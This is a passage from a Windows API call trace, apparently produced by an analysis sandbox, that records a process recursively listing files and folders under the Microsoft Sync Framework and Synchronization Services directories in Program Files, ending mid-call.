ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.668] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="LICENS~1")) returned 1 [0029.668] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70ba40 [0029.668] FindNextFileW (in: hFindFile=0x70ba40, lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.668] FindNextFileW (in: hFindFile=0x70ba40, lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb2b9400, ftCreationTime.dwHighDateTime=0x1c9c55a, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb2b9400, ftLastWriteTime.dwHighDateTime=0x1c9c55a, nFileSizeHigh=0x0, nFileSizeLow=0x1afd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="SynchronizationEula.rtf", cAlternateFileName="SYNCHR~1.RTF")) returned 1 [0029.668] FindNextFileW (in: hFindFile=0x70ba40, lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb2b9400, ftCreationTime.dwHighDateTime=0x1c9c55a, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb2b9400, ftLastWriteTime.dwHighDateTime=0x1c9c55a, nFileSizeHigh=0x0, nFileSizeLow=0x1afd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="SynchronizationEula.rtf", cAlternateFileName="SYNCHR~1.RTF")) returned 0 [0029.668] FindClose (in: hFindFile=0x70ba40 | out: hFindFile=0x70ba40) returned 1 [0029.668] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="LICENS~1")) returned 0 [0029.668] FindClose (in: hFindFile=0x70ba00 | out: hFindFile=0x70ba00) returned 1 [0029.668] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0029.668] FindClose (in: hFindFile=0x70b5a8 | out: hFindFile=0x70b5a8) returned 1 [0029.668] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 1 [0029.669] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\*.*", lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70b5a8 [0029.669] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.669] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1 [0029.669] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*.*", lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70ba00 [0029.671] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.671] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x38770, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeedSync.dll", cAlternateFileName="")) returned 1 [0029.671] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c136700, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c136700, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x33760, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0029.671] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources", cAlternateFileName="RESOUR~1")) returned 1 [0029.672] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70ba40 [0029.672] FindNextFileW (in: hFindFile=0x70ba40, lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.673] FindNextFileW (in: hFindFile=0x70ba40, lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0029.673] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*.*", lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70d7b0 [0029.673] FindNextFileW (in: hFindFile=0x70d7b0, lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.673] FindNextFileW (in: hFindFile=0x70d7b0, lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f772f00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f772f00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x3170, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.rll", cAlternateFileName="SYNCHR~1.RLL")) returned 1 [0029.673] FindNextFileW (in: hFindFile=0x70d7b0, lpFindFileData=0x18e464 | out: lpFindFileData=0x18e464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f772f00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f772f00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x3170, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.rll", cAlternateFileName="SYNCHR~1.RLL")) returned 0 [0029.673] FindClose (in: hFindFile=0x70d7b0 | out: hFindFile=0x70d7b0) returned 1 [0029.673] FindNextFileW (in: hFindFile=0x70ba40, lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0029.673] FindClose (in: hFindFile=0x70ba40 | out: hFindFile=0x70ba40) returned 1 [0029.673] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x6db60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.dll", cAlternateFileName="SYNCHR~1.DLL")) returned 1 [0029.673] FindNextFileW (in: hFindFile=0x70ba00, lpFindFileData=0x18ea44 | out: lpFindFileData=0x18ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x6db60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.dll", cAlternateFileName="SYNCHR~1.DLL")) returned 0 [0029.673] FindClose (in: hFindFile=0x70ba00 | out: hFindFile=0x70ba00) returned 1 [0029.673] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0029.673] FindClose (in: hFindFile=0x70b5a8 | out: hFindFile=0x70b5a8) returned 1 [0029.673] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 0 [0029.674] FindClose (in: hFindFile=0x70db30 | out: hFindFile=0x70db30) returned 1 [0029.674] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0 [0029.674] FindClose (in: hFindFile=0x70b630 | out: hFindFile=0x70b630) returned 1 [0029.674] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa06c4b50, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa06c4b50, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Synchronization Services", cAlternateFileName="MID7C0~1")) returned 1 [0029.674] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\*.*", lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa06c4b50, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa06c4b50, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70b630 [0029.674] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa06c4b50, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa06c4b50, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.674] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO.NET", cAlternateFileName="")) returned 1 [0029.674] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*.*", lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70db30 [0029.674] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.674] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1 [0029.674] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*.*", lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70b5a8 [0029.677] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.677] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b72c500, ftCreationTime.dwHighDateTime=0x1c8bd0c, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b72c500, ftLastWriteTime.dwHighDateTime=0x1c8bd0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c420, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0029.677] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b72c500, ftCreationTime.dwHighDateTime=0x1c8bd0c, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b72c500, ftLastWriteTime.dwHighDateTime=0x1c8bd0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c420, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.Server.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0029.677] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74481500, ftCreationTime.dwHighDateTime=0x1c8d683, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74481500, ftLastWriteTime.dwHighDateTime=0x1c8d683, nFileSizeHigh=0x0, nFileSizeLow=0x17450, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.SqlServerCe.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0029.677] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18ed34 | out: lpFindFileData=0x18ed34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74481500, ftCreationTime.dwHighDateTime=0x1c8d683, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74481500, ftLastWriteTime.dwHighDateTime=0x1c8d683, nFileSizeHigh=0x0, nFileSizeLow=0x17450, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.SqlServerCe.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0029.677] FindClose (in: hFindFile=0x70b5a8 | out: hFindFile=0x70b5a8) returned 1 [0029.678] FindNextFileW (in: hFindFile=0x70db30, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0 [0029.678] FindClose (in: hFindFile=0x70db30 | out: hFindFile=0x70db30) returned 1 [0029.678] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a162e0, ftCreationTime.dwHighDateTime=0x1d5af10, ftLastAccessTime.dwLowDateTime=0x7f0eda80, ftLastAccessTime.dwHighDateTime=0x1d542a3, ftLastWriteTime.dwLowDateTime=0x7f0eda80, ftLastWriteTime.dwHighDateTime=0x1d542a3, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="creditservice.exe", cAlternateFileName="CREDIT~1.EXE")) returned 1 [0029.678] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: 